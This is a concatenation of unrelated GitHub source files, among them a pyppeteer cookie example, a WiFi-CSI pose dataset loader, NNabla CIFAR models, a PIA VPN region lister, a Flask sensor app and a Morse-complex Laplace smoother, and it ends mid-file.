Page.cookies(*urls) → dict\n # 获取Cookie\n # 如果指定url那就返回那个url的Cookie,没指定就返回当前页面Cookie\n c = await page.cookies()\n print(c)\n\n # Page.deleteCookie(*cookies)\n # 删除Cookie\n # cookies可以填入的参数\n # name (str): 必须传入\n # url (str)\n # domain (str)\n # path (str)\n # secure (bool)\n await page.deleteCookie({'name': 'BAIDUID'})\n\n # Page.setCookie(*cookies) → None[source]\n # 设置Cookie\n # 可选Cookie的参数:\n # name (str): required\n # value (str): required\n # url (str)\n # domain (str)\n # path (str)\n # expires (number): Unix time in seconds\n # httpOnly (bool)\n # secure (bool)\n # sameSite (str): 'Strict' or 'Lax'\n\n\nasyncio.get_event_loop().run_until_complete(main())","repo_name":"RecluseXU/learning_spider","sub_path":"example/0_Basic_usage_of_the_library/python_pyppeteer/7_PageClass_Cookie.py","file_name":"7_PageClass_Cookie.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"32"} +{"seq_id":"30202311942","text":"import os\nfrom scipy import io\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset as dataset\nimport pywt\nfrom collections import OrderedDict\nfrom .builder import DATASETS\nfrom mmdet.datasets.pipelines import Compose\n\n@DATASETS.register_module()\nclass WifiMeshDataset(dataset):\n CLASSES = ('person', )\n def __init__(self, dataset_root, pipeline, mode, **kwargs):\n '''\n 振幅做小波变换\n 相位做线性去噪\n '''\n self.data_root = dataset_root\n self.pipeline = Compose(pipeline)\n self.filename_list = self.load_file_name_list(os.path.join(self.data_root, 'train_list.txt'))\n if mode == \"val\":\n self.filename_list = self.filename_list[::50]\n self._set_group_flag()\n \n def pre_pipeline(self, results):\n results['seg_fields'] = []\n results['img_prefix'] = self.img_dir\n\n def get_item_single_frame(self,index): \n data_name = self.filename_list[index]\n csi_path = os.path.join(self.data_root,'csi',(str(data_name)+'.mat'))\n annotation_path = os.path.join(self.data_root,'annotations',(str(data_name)+'.npz'))\n \n csi = io.loadmat(csi_path)['csi_out']\n csi = np.array(csi)\n csi = csi.astype(np.complex128)\n\n group_name = data_name.split('_')[0]\n csi_avg_path = os.path.join(self.data_root,'avg_csi',(str(group_name)+'.mat'))\n csi_avg = io.loadmat(csi_avg_path)['avg_csi']\n csi_avg = np.array(csi_avg)\n csi_avg = csi_avg.astype(np.complex128)\n\n csi = csi - csi_avg\n '''csi_amp = abs(csi)\n csi_amp = torch.FloatTensor(csi_amp).permute(0,1,3,2) #csi tensor: (3*3*30*20 -> 3*3*20*30)\n \n csi_ph = np.unwrap(np.angle(csi))\n csi_ph = fft.ifft(csi_ph)\n csi_phd = csi_ph[:,:,:,1:20] - csi_ph[:,:,:,0:19]\n csi_phd = torch.FloatTensor(csi_phd).permute(0,1,3,2)'''\n \n \n csi_amp = self.wdt(csi)\n csi_ph = self.phase_deno(csi)\n csi = np.concatenate((csi_amp, csi_ph), axis=2)\n csi = torch.FloatTensor(csi).permute(0,1,3,2)\n \n # torch.save(csi, '/home/qianbo/csi_avg.pkl')\n annotation = np.load(annotation_path, allow_pickle=True)['results'].item()\n # 'cam', 'global_orient', 'body_pose', 'smpl_betas', 'smpl_thetas', \n # 'center_preds', 'center_confs', 'cam_trans', 'verts', 'joints', 'pj2d_org'\n pose = annotation[\"smpl_thetas\"]\n shape = annotation[\"smpl_betas\"]\n keypoint = annotation[\"joints\"][:,:54]\n keypoint = torch.FloatTensor(keypoint) # keypoint tensor: (N*71=(54+17)*3)\n numOfPerson = keypoint.shape[0]\n gt_labels = np.zeros(numOfPerson, dtype=np.int64) #label (N,)\n gt_bboxes = torch.tensor([])\n gt_areas = torch.tensor([])\n result = dict(img=csi, gt_poses=pose, gt_shapes=shape ,gt_keypoints=keypoint, gt_labels = gt_labels, gt_bboxes = gt_bboxes, gt_areas = gt_areas)\n return result\n \n def __getitem__(self, index):\n result = self.get_item_single_frame(index)\n return self.pipeline(result)\n\n def __len__(self):\n return len(self.filename_list)\n\n def load_file_name_list(self, file_path):\n file_name_list = []\n with open(file_path, 'r') as file_to_read:\n while True:\n lines = file_to_read.readline().strip() \n if not lines:\n break\n file_name_list.append(lines.split()[0])\n return file_name_list\n\n def _set_group_flag(self):\n \"\"\"Set flag according to image aspect ratio.\n\n Images with aspect ratio greater than 1 will be set as group 1,\n otherwise group 0.\n \"\"\"\n self.flag = np.zeros(len(self), dtype=np.uint8)\n def CSI_sanitization(self, csi_rx):\n one_csi = csi_rx[0,:,:]\n two_csi = csi_rx[1,:,:]\n three_csi = csi_rx[2,:,:]\n pi = np.pi\n M = 3 # 天线数量3\n N = 30 # 子载波数目30\n T = one_csi.shape[1] # 总包数\n fi = 312.5 * 2 # 子载波间隔312.5 * 2\n csi_phase = np.zeros((M, N, T))\n for t in range(T): # 遍历时间戳上的CSI包,每根天线上都有30个子载波\n csi_phase[0, :, t] = np.unwrap(np.angle(one_csi[:, t]))\n csi_phase[1, :, t] = np.unwrap(csi_phase[0, :, t] + np.angle(two_csi[:, t] * np.conj(one_csi[:, t])))\n csi_phase[2, :, t] = np.unwrap(csi_phase[1, :, t] + np.angle(three_csi[:, t] * np.conj(two_csi[:, t])))\n ai = np.tile(2 * pi * fi * np.array(range(N)), M)\n bi = np.ones(M * N)\n ci = np.concatenate((csi_phase[0, :, t], csi_phase[1, :, t], csi_phase[2, :, t]))\n A = np.dot(ai, ai)\n B = np.dot(ai, bi)\n C = np.dot(bi, bi)\n D = np.dot(ai, ci)\n E = np.dot(bi, ci)\n rho_opt = (B * E - C * D) / (A * C - B ** 2)\n beta_opt = (B * D - A * E) / (A * C - B ** 2)\n temp = np.tile(np.array(range(N)), M).reshape(M, N)\n csi_phase[:, :, t] = csi_phase[:, :, t] + 2 * pi * fi * temp * rho_opt + beta_opt\n antennaPair_One = abs(one_csi) * np.exp(1j * csi_phase[0, :, :])\n antennaPair_Two = abs(two_csi) * np.exp(1j * csi_phase[1, :, :])\n antennaPair_Three = abs(three_csi) * np.exp(1j * csi_phase[2, :, :])\n antennaPair = np.concatenate((np.expand_dims(antennaPair_One,axis=0), \n np.expand_dims(antennaPair_Two,axis=0), \n np.expand_dims(antennaPair_Three,axis=0),))\n return antennaPair\n\n\n def phase_deno(self, csi):\n #input csi shape (3*3*30*20)\n ph_rx1 = self.CSI_sanitization(csi[0,:,:,:])\n ph_rx2 = self.CSI_sanitization(csi[1,:,:,:])\n ph_rx3 = self.CSI_sanitization(csi[2,:,:,:])\n csi_phde = np.concatenate((np.expand_dims(ph_rx1,axis=0), \n np.expand_dims(ph_rx2,axis=0), \n np.expand_dims(ph_rx3,axis=0),))\n return csi_phde\n \n def wdt(self, csi):\n cA, cD = pywt.dwt(abs(csi), 'db11')\n csi_amp = np.concatenate((cA, cD), axis=2)\n return csi_amp\n \n\n def evaluate(self,\n results,\n metric='keypoints',\n logger=None,\n jsonfile_prefix=None,\n classwise=False,\n proposal_nums=(100, 300, 1000),\n iou_thrs=None,\n metric_items=None):\n mpjpe_3d_list = []\n mpjpe_smpl_list = []\n root = \"/data1/qianbo/wifi_mesh_data/save_result/\"\n for i in range(len(results)):\n info = self.get_item_single_frame(i)\n gt_keypoints = info['gt_keypoints']\n det_bboxes, det_keypoints, det_joints, det_verts = results[i]\n for label in range(len(det_keypoints)):\n kpt_pred = det_keypoints[label]\n kpt_pred = torch.tensor(kpt_pred, dtype=gt_keypoints.dtype, device=gt_keypoints.device)\n mpjpe_3d, _ = self.calc_mpjpe(gt_keypoints, kpt_pred)\n mpjpe_3d_list.append(mpjpe_3d.numpy())\n\n joints_pred = det_joints[label]\n joints_pred = torch.tensor(joints_pred, dtype=gt_keypoints.dtype, device=gt_keypoints.device)\n mpjpe_joints, corres = self.calc_mpjpe(gt_keypoints, joints_pred)\n mpjpe_smpl_list.append(mpjpe_joints.numpy())\n\n # verts_pred = det_verts[label][corres]\n\n # frame_name = self.filename_list[i]\n # frameresult_path = os.path.join(root, frame_name)\n # if not os.path.exists(frameresult_path):\n # os.mkdir(frameresult_path)\n # np.save(os.path.join(frameresult_path, \"verts.npy\"), verts_pred)\n # print(\"test\")\n\n mpjpe_3d = np.array(mpjpe_3d_list).mean() \n mpjpe_smpl = np.array(mpjpe_smpl_list).mean() \n result = {'mpjpe_3d':mpjpe_3d, \"mpjpe_smpl\":mpjpe_smpl}\n return OrderedDict(result)\n \n def calc_mpjpe(self, real, pred):\n n = real.shape[0]\n m = pred.shape[0]\n j, c = pred.shape[1:]\n assert j == real.shape[1] and c == real.shape[2]\n #n*m*j n*j\n distance_array = torch.ones((n,m), dtype=torch.float) * 2 ** 24 # TODO: magic number!\n for i in range(n):\n for j in range(m):\n distance_array[i][j] = torch.norm(real[i]-pred[j], p=2, dim=-1).mean()\n\n corres = torch.ones(n, dtype=torch.long)*-1\n occupied = torch.zeros(m, dtype=torch.long)\n\n while torch.min(distance_array) < 50: # threshold 30.\n min_idx = torch.where(distance_array == torch.min(distance_array))\n for i in range(len(min_idx[0])):\n distance_array[min_idx[0][i]][min_idx[1][i]] = 50\n if corres[min_idx[0][i]] >= 0 or occupied[min_idx[1][i]]:\n continue\n else:\n corres[min_idx[0][i]] = min_idx[1][i]\n occupied[min_idx[1][i]] = 1\n\n new_pred = pred[corres]\n mpjpe = torch.sqrt(torch.pow(real - new_pred, 2).sum(-1))\n\n return mpjpe.mean()*1000, corres\n\n","repo_name":"laptype/remote_opera","sub_path":"opera/datasets/wifi_mesh.py","file_name":"wifi_mesh.py","file_ext":"py","file_size_in_byte":9307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22700636394","text":"import nnabla as nn\nimport nnabla.functions as F\nimport nnabla.parametric_functions as PF\nfrom nnabla.contrib.context import extension_context\nimport numpy as np\n\ndef ce_loss(ctx, pred, y_l):\n with nn.context_scope(ctx):\n loss_ce = F.mean(F.softmax_cross_entropy(pred, y_l))\n return loss_ce\n\ndef sr_loss(ctx, pred0, pred1):\n with nn.context_scope(ctx):\n pred_x_u0 = F.softmax(pred0)\n pred_x_u1 = F.softmax(pred1)\n loss_sr = F.mean(F.squared_error(pred_x_u0, pred_x_u1))\n return loss_sr\n\ndef er_loss(ctx, pred):\n with nn.context_scope(ctx):\n bs = pred.shape[0]\n d = np.prod(pred.shape[1:])\n denominator = bs * d\n pred_normalized = F.softmax(pred)\n pred_log_normalized = F.log(F.softmax(pred))\n loss_er = - F.sum(pred_normalized * pred_log_normalized) / denominator\n return loss_er\n\ndef bn_dropout(h, scope_name, test=False):\n with nn.parameter_scope(scope_name):\n h = PF.batch_normalization(h, batch_stat=not test)\n if not test:\n h = F.dropout(h)\n return h\n\ndef cifar10_resnet23_prediction(ctx, image, test=False):\n \"\"\"\n Construct ResNet 23\n \"\"\"\n # Residual Unit\n def res_unit(x, scope_name, dn=False, test=False):\n C = x.shape[1]\n with nn.parameter_scope(scope_name):\n\n # Conv -> BN -> Relu\n with nn.parameter_scope(\"conv1\"):\n h = PF.convolution(x, C / 2, kernel=(1, 1), pad=(0, 0),\n with_bias=False)\n h = PF.batch_normalization(h, batch_stat=not test)\n h = F.relu(h)\n # Conv -> BN -> Relu\n with nn.parameter_scope(\"conv2\"):\n h = PF.convolution(h, C / 2, kernel=(3, 3), pad=(1, 1),\n with_bias=False)\n h = PF.batch_normalization(h, batch_stat=not test)\n h = F.relu(h)\n # Conv -> BN\n with nn.parameter_scope(\"conv3\"):\n h = PF.convolution(h, C, kernel=(1, 1), pad=(0, 0),\n with_bias=False)\n h = PF.batch_normalization(h, batch_stat=not test)\n # Residual -> Relu\n h = F.relu(h + x)\n\n # Maxpooling\n if dn:\n h = F.max_pooling(h, kernel=(2, 2), stride=(2, 2))\n return h\n\n # Random generator for using the same init parameters in all devices\n nmaps = 64\n ncls = 10\n\n # Conv -> BN -> Relu\n with nn.context_scope(ctx):\n with nn.parameter_scope(\"conv1\"):\n h = PF.convolution(image, nmaps, kernel=(3, 3), pad=(1, 1),\n with_bias=False)\n h = PF.batch_normalization(h, batch_stat=not test)\n h = F.relu(h)\n\n h = res_unit(h, \"conv2\", False) # -> 32x32\n h = res_unit(h, \"conv3\", True) # -> 16x16\n h = bn_dropout(h, \"bn_dropout1\", test)\n h = res_unit(h, \"conv4\", False) # -> 16x16\n h = res_unit(h, \"conv5\", True) # -> 8x8\n h = bn_dropout(h, \"bn_dropout2\", test)\n h = res_unit(h, \"conv6\", False) # -> 8x8\n h = res_unit(h, \"conv7\", True) # -> 4x4\n h = bn_dropout(h, \"bn_dropout3\", test)\n h = res_unit(h, \"conv8\", False) # -> 4x4\n h = F.average_pooling(h, kernel=(4, 4)) # -> 1x1\n pred = PF.affine(h, ncls)\n\n return pred\n\ndef cifar10_resnet23_loss(pred, label):\n loss = F.mean(F.softmax_cross_entropy(pred, label))\n return loss\n","repo_name":"kzky/works","sub_path":"st2/st2/cifar10/cnn_model_057.py","file_name":"cnn_model_057.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30840616660","text":"import pandas as pd\nimport numpy as np\n\nto_remove = ['source']\nr_data = pd.read_csv(filepath_or_buffer=\"special_measures_original.csv\")\n\nr_data = r_data.drop(columns=to_remove)\nprint(r_data.shape)\nr_data = r_data.sort_values('StartDate')\nr_data.to_csv(\"special_measures.csv\", index=False)","repo_name":"snehageorge37/CSI4124-GROUP21-2021","sub_path":"python_scripts/sm.py","file_name":"sm.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70113336731","text":"import json\r\nimport requests\r\n\r\npiaServerList = 'https://serverlist.piaservers.net/vpninfo/servers/v6'\r\n\r\ns = True\r\nr = requests.get(piaServerList)\r\nif r.status_code != 200:\r\n print(\"Failed to get PIA server list, url is returning non 200 HTTP code, is there a connectivity issue?\")\r\n s = False\r\nif s:\r\n piaRegions = json.loads(r.text.split('\\n')[0])['regions']\r\n regionList = list()\r\n for region in piaRegions:\r\n regionList.append(region['name']+\" | ID: \"+region['id'] + \" | Port forwarding: \" + str(region['port_forward']) + \" | Geo-located: \" + str(region['geo']))\r\n regionList.sort() # Now we sort the list as PIA's payload isn't in region name order.\r\n for region in regionList:\r\n print(region)\r\n print(\"* Geo-located means these servers is not physically located in the region where the exit node is located. \" +\r\n \"The implementation of geo-located servers has provided us VPN services in countries where service may not have been \" +\r\n \"previously available due to restrictions, government legislation, or a lack of secure server providers\")\r\n # ^ Info from https://www.privateinternetaccess.com/helpdesk/kb/articles/geo-located-servers-we-offer","repo_name":"FingerlessGlov3s/OPNsensePIAWireguard","sub_path":"ListRegions.py","file_name":"ListRegions.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"32"} +{"seq_id":"39662692322","text":"# Given a 2D matrix of characters and a target word, write a function that \r\n# returns whether the word can be found in the matrix by going left-to-right, \r\n# or up-to-down.\r\n\r\n\r\ndef word_in_matrix(matrix, word):\r\n assert matrix\r\n assert word\r\n row, col = len(matrix), len(matrix[0])\r\n\r\n def get_start_point():\r\n for i in range(row):\r\n for j in range(col):\r\n if matrix[i][j] == word[0]:\r\n yield i, j\r\n\r\n def search(i, j, index):\r\n if index >= len(word):\r\n return True\r\n elif i >= row or j >= col:\r\n return False\r\n elif word[index] == matrix[i][j]:\r\n return any([search(i + 1, j, index + 1), search(i, j + 1, index + 1)])\r\n else:\r\n return False\r\n\r\n return any([search(i, j, 0) for i, j in get_start_point()])\r\n\r\n\r\nif __name__ == '__main__':\r\n matrix = [\r\n ['F', 'A', 'C', 'I'],\r\n ['O', 'B', 'Q', 'P'],\r\n ['A', 'N', 'O', 'B'],\r\n ['M', 'A', 'S', 'S']\r\n ]\r\n for word in ['FOAM', 'MASS', 'OBS', 'BNAM']:\r\n print('find word \"{}\": {}'.format(word, word_in_matrix(matrix, word)))\r\n","repo_name":"kemingy/daily-coding-problem","sub_path":"src/word_in_matrix.py","file_name":"word_in_matrix.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"25598861228","text":"from django.urls import path\nfrom django.contrib.auth.views import LoginView, LogoutView\n\nfrom . import views\nfrom . import forms\n\nurlpatterns = [\n\tpath('login/', LoginView.as_view(\n\t\tform_class = forms.LoginForm,\n\t\ttemplate_name = 'accounts/login_form.html'), \n\t\tname='login'),\n\tpath('logout/', LogoutView.as_view(next_page='login'), name='logout'),\n\tpath('profile/', views.profile, name='profile'),\n\tpath('profile/edit', views.profile_edit, name='profile_edit'),\n\tpath('register/', views.register, name='register'),\n]","repo_name":"KimHS0915/django-practice","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9193328556","text":"import pandas as pd\nimport pylab as pl\nimport numpy as np\npd.set_option('display.precision', 1)\npd.set_option('display.width', 100)\n\n \ndef main(): \n # set column names and read in data from file\n column_names = ['year', 'month', 'tmax', 'tmin', 'air-frost-days', 'rain(mm)', 'sun(hours)', 'comment']\n oxford_data = pd.read_csv(\"data/oxford.txt\", \n engine = 'python', \n skiprows = 7, \n names = column_names, \n na_values = ['---'], \n skipinitialspace = True, \n sep = '[*# ]+')\n\n # some of the tmin values are missing, so drop these rows\n oxford_data.dropna()\n \n # create a new column from year and month columns\n oxford_data['period'] = oxford_data.apply(lambda x : (x.year/4)*4, raw = True, axis = 1)\n\n # drop columns we are not using (not necessary)\n oxford_data.drop(['year', 'month', 'air-frost-days', 'rain(mm)', 'sun(hours)', 'comment'], axis = 1, inplace = True)\n\n # group results into 4 year periods\n summary = oxford_data.groupby(['period']).aggregate(np.mean)\n\n # plot the data\n ax = summary.plot(figsize=(10, 6), \n title = 'Oxford : Average Min and Max Temperatures (over 4 year periods)', \n # x defaults to index\n y = ['tmin', 'tmax'], \n color = ['red', 'cyan'], \n kind = 'bar')\n\n ax.set_xlabel(\"4 year period\")\n ax.set_ylabel(\"$^\\circ$C\")\n for item in [ax. title, ax.xaxis.label, ax.yaxis.label]:\n item.set_fontsize(20)\n pl.show()\n\n\nmain()\n\n\n\n","repo_name":"gjq91459/mycourse","sub_path":"Scientific Python/Pandas/05_aggregate_plots.py","file_name":"05_aggregate_plots.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41782829096","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom morse.torusmesh import TorusMesh\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfrom matplotlib import cm\r\nimport warnings\r\n\r\n\r\ndef test():\r\n import morse.field_generator as gen\r\n image = gen.gen_field_from_file(r\"C:\\repo\\pproc\\data\\input.fits\", conditions=\"plain\", filetype=\"fits\")\r\n mesh = TorusMesh.build_all(image)\r\n mesh.simplify_by_pairs_remained(40)\r\n smth = LaplaceSmoother.create_from_mesh(mesh, interpolation=\"log\")\r\n smth.smooth(converge=\"steps\", steps=1000)\r\n smth.draw()\r\n\r\n\r\nclass LaplaceSmoother:\r\n \"\"\"\r\n Сглаживаем методом конечных разностей картинку с заданной маской.\r\n Значения маски фиксированы. Остальные на каждом шаге определяются как среднее между значениями в окрестности.\r\n \"\"\"\r\n\r\n EPS_LOG = 0.1\r\n\r\n def __init__(self, lx, ly):\r\n \"\"\"\r\n Создать сглаживатель с указанием длины и ширины поля.\r\n :param lx: Длина по оси X\r\n :param ly: Длина по оси Y\r\n :return:\r\n \"\"\"\r\n self.lx = lx\r\n self.ly = ly\r\n self.field = np.zeros((lx, ly), dtype=float)\r\n self.mask = np.zeros((lx, ly), dtype=bool)\r\n\r\n def set_val(self, x, y, value):\r\n \"\"\"\r\n Устанавливаем значение ячейки (x, y).\r\n \"\"\"\r\n self.field[x, y] = value\r\n\r\n def set_mask(self, x, y):\r\n \"\"\"\r\n Делаем значение ячейки неизменным при переходе между состояниями.\r\n \"\"\"\r\n self.mask[x, y] = True\r\n\r\n def smooth(self, converge='steps', steps=1000, eps=100.0, max_converge_steps=5000):\r\n \"\"\"\r\n Сгладить изображение по комплексу Морса-Смейла.\r\n Сглаживание производится применением фильтра Лапласа на клетках комплекса Морса.\r\n В качестве критерия остановки используется либо количество шагов (converge='steps'),\r\n либо сходимость по сумме значений ('eps'): когда сумма изменяется после шага менее, чем на eps,\r\n сглаживание завершается.\r\n :type eps: float\r\n :type steps: int\r\n :type max_converge_steps: int\r\n :param converge:\r\n Критерий остановки сглаживания.\r\n 'steps' - фиксировать количество шагов;\r\n 'eps' - сходимость по сумме значений.\r\n :param steps:\r\n При converge='steps' устанавливает количество шагов сглаживания.\r\n :param eps:\r\n При converge='eps' устанавливает критерий сходимости сглаживания.\r\n :param max_converge_steps:\r\n Максимальное количество шагов, при сглаживании по методу сходимости по сумме.\r\n\r\n :return:\r\n \"\"\"\r\n converge_allowed_values = ['steps', 'eps']\r\n if converge not in converge_allowed_values:\r\n raise AssertionError('Wrong converge value. Allowed values are {0}'.format(converge_allowed_values))\r\n if converge == 'steps' and steps < 1:\r\n raise AssertionError('Variable steps takes only positive values')\r\n if converge == 'eps' and eps <= 0:\r\n raise AssertionError('Variable eps takes only positive values')\r\n\r\n if converge == 'steps':\r\n for i in range(steps):\r\n self.next()\r\n elif converge == 'eps':\r\n prev_sum = 0\r\n curr_sum = np.sum(self.field) # Просто инициализация нулём\r\n i = 0\r\n for i in range(max_converge_steps):\r\n self.next()\r\n prev_sum = curr_sum\r\n curr_sum = np.sum(self.field)\r\n if np.abs(curr_sum - prev_sum) < eps:\r\n break\r\n if i == max_converge_steps - 1:\r\n warnings.warn('Maximum converge steps exceeded!')\r\n else:\r\n print('Converged in {0} steps'.format(i + 1))\r\n\r\n def next(self):\r\n \"\"\"\r\n Проводим шаг сглаживания.\r\n \"\"\"\r\n # Складываем поле с самим собой, сдвинутым на 1 во всех направлениях.\r\n # Делим на 4\r\n # Получаем то же самое, что свёртка с фильтром Лапласа для 4-соседской структуры на торе.\r\n # Восстанавливаем значения маскированных ячеек.\r\n\r\n new_field = np.zeros(self.field.shape)\r\n new_field[:self.lx - 1, :self.ly] += self.field[1:self.lx, :self.ly]\r\n new_field[self.lx - 1, :self.ly] += self.field[0, :self.ly]\r\n\r\n new_field[:self.lx, :self.ly - 1] += self.field[:self.lx, 1:self.ly]\r\n new_field[:self.lx, self.ly - 1] += self.field[:self.lx, 0]\r\n\r\n new_field[1:self.lx, :self.ly] += self.field[:self.lx - 1, :self.ly]\r\n new_field[0, :self.ly] += self.field[self.lx - 1, :self.ly]\r\n\r\n new_field[:self.lx, 1:self.ly] += self.field[:self.lx, :self.ly - 1]\r\n new_field[:self.lx, 0] += self.field[:self.lx, self.ly - 1]\r\n\r\n new_field *= 0.25\r\n\r\n # Значение фиксированных клеток не изменяется\r\n self.field = np.where(self.mask, self.field, new_field)\r\n\r\n def draw(self, plot_3d=False, antialiased=True):\r\n \"\"\"\r\n Plot smoothed image.\r\n :param antialiased: Anti-alias.\r\n :param plot_3d: Plot smoothed image as 3D-surface.\r\n :return:\r\n \"\"\"\r\n if plot_3d:\r\n fig = plt.figure()\r\n x, y = np.meshgrid(range(self.ly), range(self.lx))\r\n ax = fig.gca(projection='3d')\r\n ax.plot_surface(x, y, self.field, cmap=cm.gray, linewidth=0, antialiased=antialiased)\r\n ax.view_init(azim=-30, elev=15)\r\n else:\r\n plt.figure()\r\n cur_plot = plt.imshow(self.field, cmap='gray', origin='lower')\r\n plt.colorbar(cur_plot)\r\n plt.show()\r\n\r\n @staticmethod\r\n def create_from_mesh(mesh, interpolation='linear'):\r\n \"\"\"\r\n Build smoother from Morse-Smale complex.\r\n 1. Put values in critical points\r\n 2. Interpolate values on arcs, fix it.\r\n 3. By finite differences, compute field.\r\n :param interpolation:\r\n Interpolation method to set values on arcs.\r\n 'linear', 'log'\r\n :type mesh: TorusMesh\r\n \"\"\"\r\n lx, ly = mesh.sizeX, mesh.sizeY\r\n arc_list = mesh.list_arcs()\r\n arc_list.sort(key=len)\r\n arc_values_list = []\r\n\r\n # Интерполированием устанавливаем значения на дугах\r\n for arc in arc_list:\r\n start_val = mesh._extvalue(arc[0])[0]\r\n end_val = mesh._extvalue(arc[-1])[0]\r\n values = np.array([])\r\n if interpolation == 'linear':\r\n values = np.linspace(start_val, end_val, len(arc))\r\n elif interpolation == 'log':\r\n if np.sign(start_val) == np.sign(end_val):\r\n # Если концы дуги одного знака, то интерполируем в лог-масштабе.\r\n values = np.geomspace(start_val, end_val, num=len(arc))\r\n else:\r\n # Если в разном, то середину дуги считаем за 0 (с добавкой)\r\n # и интерполируем две части дуги.\r\n values = np.geomspace(start_val, LaplaceSmoother.EPS_LOG * np.sign(start_val), num=len(arc) // 2)\r\n if len(arc) % 2 == 1:\r\n values = np.append(values, [0.0])\r\n values = np.append(values,\r\n np.geomspace(LaplaceSmoother.EPS_LOG * np.sign(end_val), end_val, num=len(arc) // 2))\r\n\r\n arc_values_list.append(values)\r\n\r\n # Создаём экземпляр сглаживателя\r\n a = LaplaceSmoother(lx, ly)\r\n for arc, arc_val in zip(arc_list, arc_values_list):\r\n for idx in range(len(arc)):\r\n x, y = int(mesh.coords(arc[idx])[1]), int(mesh.coords(arc[idx])[0])\r\n a.set_val(x, y, arc_val[idx])\r\n a.set_mask(x, y)\r\n return a\r\n","repo_name":"thekindbeetle/topology","sub_path":"morse/reconstruction.py","file_name":"reconstruction.py","file_ext":"py","file_size_in_byte":8993,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17897498645","text":"import pandas as pd\n\ncovid_df = pd.read_csv('COVID_Dataset.csv')\n\nimport math\ncovid_df['Age_Cat'] = \"\"\nfor i in range(len(covid_df['Age_Cat'])):\n x = int(covid_df['Age'][i])\n if x%10 == 0:\n t = str(x)+'-'+str(x+10)\n else:\n t = str(math.floor(x/10)*10)+'-'+str(math.ceil(x/10)*10)\n covid_df.at[i,'Age_Cat'] = t\n\ncovid_df['Avg Reporting Time'] = 0\nfor i in range(len(covid_df['Avg Reporting Time'])):\n covid_df.at[i,'Avg Reporting Time'] = covid_df['Time of reporting'][i] - covid_df['Time of Infection'][i]\n \ntemp2_df = covid_df.groupby('Age_Cat').mean()\n\nax = temp2_df.plot(y = 'Avg Reporting Time', kind = 'bar', color = 'orange', title = 'Age Vs Average Reporting')\nprint(ax)\n","repo_name":"HSNA243/Mathrix-NPS-KRM","sub_path":"AgeVsReportingTime/Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12285150076","text":"from flask import Flask, render_template, jsonify ,request\nfrom flask_cors import CORS\nimport datetime\nimport time\nimport json\nimport os\nimport thread\napp = Flask(__name__)\nCORS(app, resources={r\"/getData\": {\"origins\": \"*\"}})\nCORS(app, resources={r\"/lightLed\": {\"origins\": \"*\"}})\nCORS(app, resources={r\"/getHistory\": {\"origins\": \"*\"}})\n\n\n\n@app.route(\"/\")\ndef hello():\n templateData={\n \t'temperature' : 23,\n \t'humidity' :30,\n }\n # templateData = dht11.calTemp()\n return render_template(\"index.html\", **templateData)\n\n@app.route(\"/getData\", methods=['GET', 'POST'])\ndef home():\n list=[]\n response={\n 'date':int(time.time()),\n 'temperature':30,\n 'humidity':80,\n }\n with open(\"../webapp/dht11-vue/static/data.json\",'r+') as f:\n if os.path.getsize('../webapp/dht11-vue/static/data.json')==0:\n list.append(response)\n json.dump(list,f)\n else:\n list=json.load(f)\n list.append(response)\n f.seek(0)\n f.truncate()\n json.dump(list,f)\n return jsonify(response)\n\n@app.route(\"/getHistory\", methods=['GET'])\ndef history():\n with open(\"./data.json\",'r+') as f:\n res=json.load(f)\n return jsonify(res)\n\n@app.route(\"/lightLed\",methods=['GET'])\ndef light():\n # setTime=request.args.get(\"setTime\")\n lightTime=request.args.get(\"lightTime\")\n response={\n 'light':'true',\n 'lighttime':lightTime,\n }\n return jsonify(response)\n\n\nif __name__ == '__main__':\n app.run(threaded=True)\n","repo_name":"Ericwww/dht11-flask-vue","sub_path":"src/main/flask/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39462626265","text":"import numpy as np\n\nfrom projective_sets.pgl2 import PGL2\nfrom representations import get_pgl2q_characters, Character, Representation\nfrom utilities.general_utilities import measure, round_up_to\n\n\nclass PGL2CharacterProductsCalculator:\n @measure\n def __init__(self, pgl: PGL2):\n self.q = pgl.q()\n self.conjugation_classes = pgl.get_conjugation_classes()\n self.characters = get_pgl2q_characters(self.q)\n self.elements = pgl.get_all_elements()\n\n def get_product(self, chi1: Character, chi2: Character):\n result = self.get_value_sum(chi1, chi2)\n result = round_up_to(result)\n if np.imag(result) != 0:\n raise ValueError()\n result = np.real(result)\n result /= len(self.elements)\n result = round_up_to(result)\n if result != int(result):\n raise ValueError()\n result = int(result)\n return result\n\n def get_value_sum(self, chi1: Character, chi2: Character):\n products = [chi1.apply(element) * np.conj(chi2.apply(element)) *\n self.conjugation_classes[element] for element in self.conjugation_classes]\n return sum(products)\n\n @measure\n def decompose_representation(self, representation: Representation):\n chi = representation.get_character()\n character_products = {character: self.get_product(chi, character) for character in self.characters}\n return character_products\n\n @measure\n def get_decomposed_representation_string(self, representation):\n character_products = self.decompose_representation(representation)\n summands_string = 